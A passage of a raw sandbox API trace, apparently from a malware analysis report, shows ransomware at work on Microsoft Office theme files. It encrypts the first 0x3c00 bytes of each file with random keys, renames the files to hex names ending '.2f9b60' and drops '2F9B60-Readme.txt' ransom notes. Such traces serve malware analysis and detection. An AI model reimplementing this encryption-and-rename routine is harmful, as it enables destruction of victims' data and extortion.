_String2=".") returned 0 [0088.166] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.166] wcscmp (_String1="..", _String2=".") returned 1 [0088.166] wcscmp (_String1="..", _String2="..") returned 0 [0088.166] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0088.166] wcscmp (_String1="Backgrounds", _String2=".") returned 1 [0088.166] wcscmp (_String1="Backgrounds", _String2="..") returned 1 [0088.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ca80 [0088.166] wcscpy (in: _Dest=0x1b85ca80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0088.166] wcscat (in: _Dest=0x1b85ca80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" [0088.166] wcscat (in: _Dest=0x1b85ca80, _Source="Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0090.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ca80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0090.784] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0090.784] FindClose (in: hFindFile=0x1cd9d310 | out: hFindFile=0x1cd9d310) returned 1 [0090.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55e10) returned 1 [0090.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0090.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c22f0) returned 1 Thread: id = 322 os_tid = 0xe38 [0088.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx")) returned 0x20 [0088.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx", dwFileAttributes=0x20) returned 1 [0088.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.170] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x243efd60 | out: lpFileSize=0x243efd60*=53418) returned 1 [0088.170] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xd0a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.170] ReadFile (in: hFile=0xa3c, lpBuffer=0x243efce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x243efd28, lpOverlapped=0x0 | out: lpBuffer=0x243efce0*, lpNumberOfBytesRead=0x243efd28*=0x4, lpOverlapped=0x0) returned 1 [0088.173] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0088.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.174] NtQuerySystemTime (in: CurrentTime=0x243efc20 | out: CurrentTime=0x243efc20*=132462176940442000) returned 0x0 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x59b3a3d0 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x4f9b8b4a [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x5a1f1ad2 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x52bb1807 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x3ff06f92 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x7b93cd94 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x3e0d656b [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x4aa87d98 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x2a03fab2 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x6ba21eea [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x65250958 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x1c5106f5 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x4b78b0c2 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x16d34694 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x58a4e167 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x34a1aee2 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x29ee617e [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x3ccf32bb [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x6c4d3965 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x7f2a8fc7 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x53f76516 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x11f47d2b [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x1182777 [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x5fab1a5c [0088.174] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x5da7dbfd [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x35df5c6 [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x451bf4a8 [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0xf767ba2 [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x72ec30c2 [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x4364b7d7 [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x5c9876fd [0088.175] RtlRandomEx (in: Seed=0x243efc10 | out: Seed=0x243efc10) returned 0x95c29c5 [0088.183] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.183] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x243efc80, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x243efc80*=0x3c00, lpOverlapped=0x0) returned 1 [0088.186] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0088.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0088.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.187] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x243efc80, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x243efc80*=0x3c00, lpOverlapped=0x0) returned 1 [0088.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f970 [0088.200] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.200] WriteFile (in: hFile=0xa3c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x243efd30, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x243efd30*=0x10e, lpOverlapped=0x0) returned 1 [0088.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0088.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0088.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82b3b0 [0088.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0088.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0088.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b410) returned 1 [0088.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.205] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="be") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="3d") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="84") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="3e") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="62") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="57") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="08") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="29") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="90") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="f7") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="c6") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="13") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="44") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="a3") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="31") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="91") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="e9") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="85") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="f2") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="96") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="ba") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="2d") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="02") returned 2 [0088.205] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="61") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="9c") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="33") returned 2 [0088.205] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="9b") returned 2 [0088.206] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="6e") returned 2 [0088.206] RtlInitAnsiString (in: DestinationString=0x243efda8, SourceString="be3d843e6257082990f7c61344a33191e985f296ba2d02619c339b6e" | out: DestinationString="be3d843e6257082990f7c61344a33191e985f296ba2d02619c339b6e") [0088.206] RtlAnsiStringToUnicodeString (in: DestinationString=0x243efd78, SourceString="be3d843e6257082990f7c61344a33191e985f296ba2d02619c339b6e", AllocateDestinationString=1 | out: DestinationString="be3d843e6257082990f7c61344a33191e985f296ba2d02619c339b6e") returned 0x0 [0088.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dff0 [0088.206] wcscat (in: _Dest=0x1b7add40, _Source="be3d843e625708" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\be3d843e625708") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\be3d843e625708" [0088.206] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\be3d843e625708.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\be3d843e625708.2f9b60" [0088.206] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\be3d843e625708.2f9b60", NtPathName=0x243efd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\be3d843e625708.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.208] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x243efdb8, FileInformation=0x243efdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x243efdb8, FileInformation=0x243efdc8) returned 0x0 [0088.208] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x243efdb8, FileInformation=0x243efdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.209] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.211] CloseHandle (hObject=0xa3c) returned 1 [0088.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7add40 [0088.213] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.213] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0xffffffff [0088.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3c [0088.213] WriteFile (in: hFile=0xa3c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x243efc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x243efc70*=0xba9, lpOverlapped=0x0) returned 1 [0088.214] CloseHandle (hObject=0xa3c) returned 1 [0088.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784370) returned 1 Thread: id = 323 os_tid = 0xe3c [0088.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx")) returned 0x20 [0088.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx", dwFileAttributes=0x20) returned 1 [0088.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0088.184] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x245df940 | out: lpFileSize=0x245df940*=69784) returned 1 [0088.184] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x11094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.185] ReadFile (in: hFile=0xa40, lpBuffer=0x245df8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x245df908, lpOverlapped=0x0 | out: lpBuffer=0x245df8c0*, lpNumberOfBytesRead=0x245df908*=0x4, lpOverlapped=0x0) returned 1 [0088.189] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0088.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0088.189] NtQuerySystemTime (in: CurrentTime=0x245df800 | out: CurrentTime=0x245df800*=132462176940598000) returned 0x0 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x25ed9f3 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x4d6253c8 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x49d63ba8 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x50599354 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x179a46d2 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x70827c10 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x50ab2509 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0xd80a2ad [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x6a193599 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x3dbde62c [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x31839215 [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x7ee34bfc [0088.189] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x5131c8ee [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x11ef55ee [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x53e94bc3 [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x572704fc [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x7d6d788c [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x52b9b2d7 [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x4c42c94b [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x42eb129c [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x70720ddf [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x62f190fa [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x137e8ddf [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x5554acad [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x30d72cc5 [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x63655785 [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x784c5fcf [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x1b8ddf8d [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x5fcf7c92 [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x658705c0 [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x4a7fdefc [0088.190] RtlRandomEx (in: Seed=0x245df7f0 | out: Seed=0x245df7f0) returned 0x1b06d66f [0088.199] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.199] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x245df860, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x245df860*=0x3c00, lpOverlapped=0x0) returned 1 [0088.201] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0088.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0088.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0088.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0088.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0088.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.202] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x245df860, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x245df860*=0x3c00, lpOverlapped=0x0) returned 1 [0088.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61120) returned 1 [0088.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82b650 [0088.211] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.211] WriteFile (in: hFile=0xa40, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x245df910, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x245df910*=0x108, lpOverlapped=0x0) returned 1 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a360 [0088.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a360) returned 1 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a360 [0088.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0088.217] 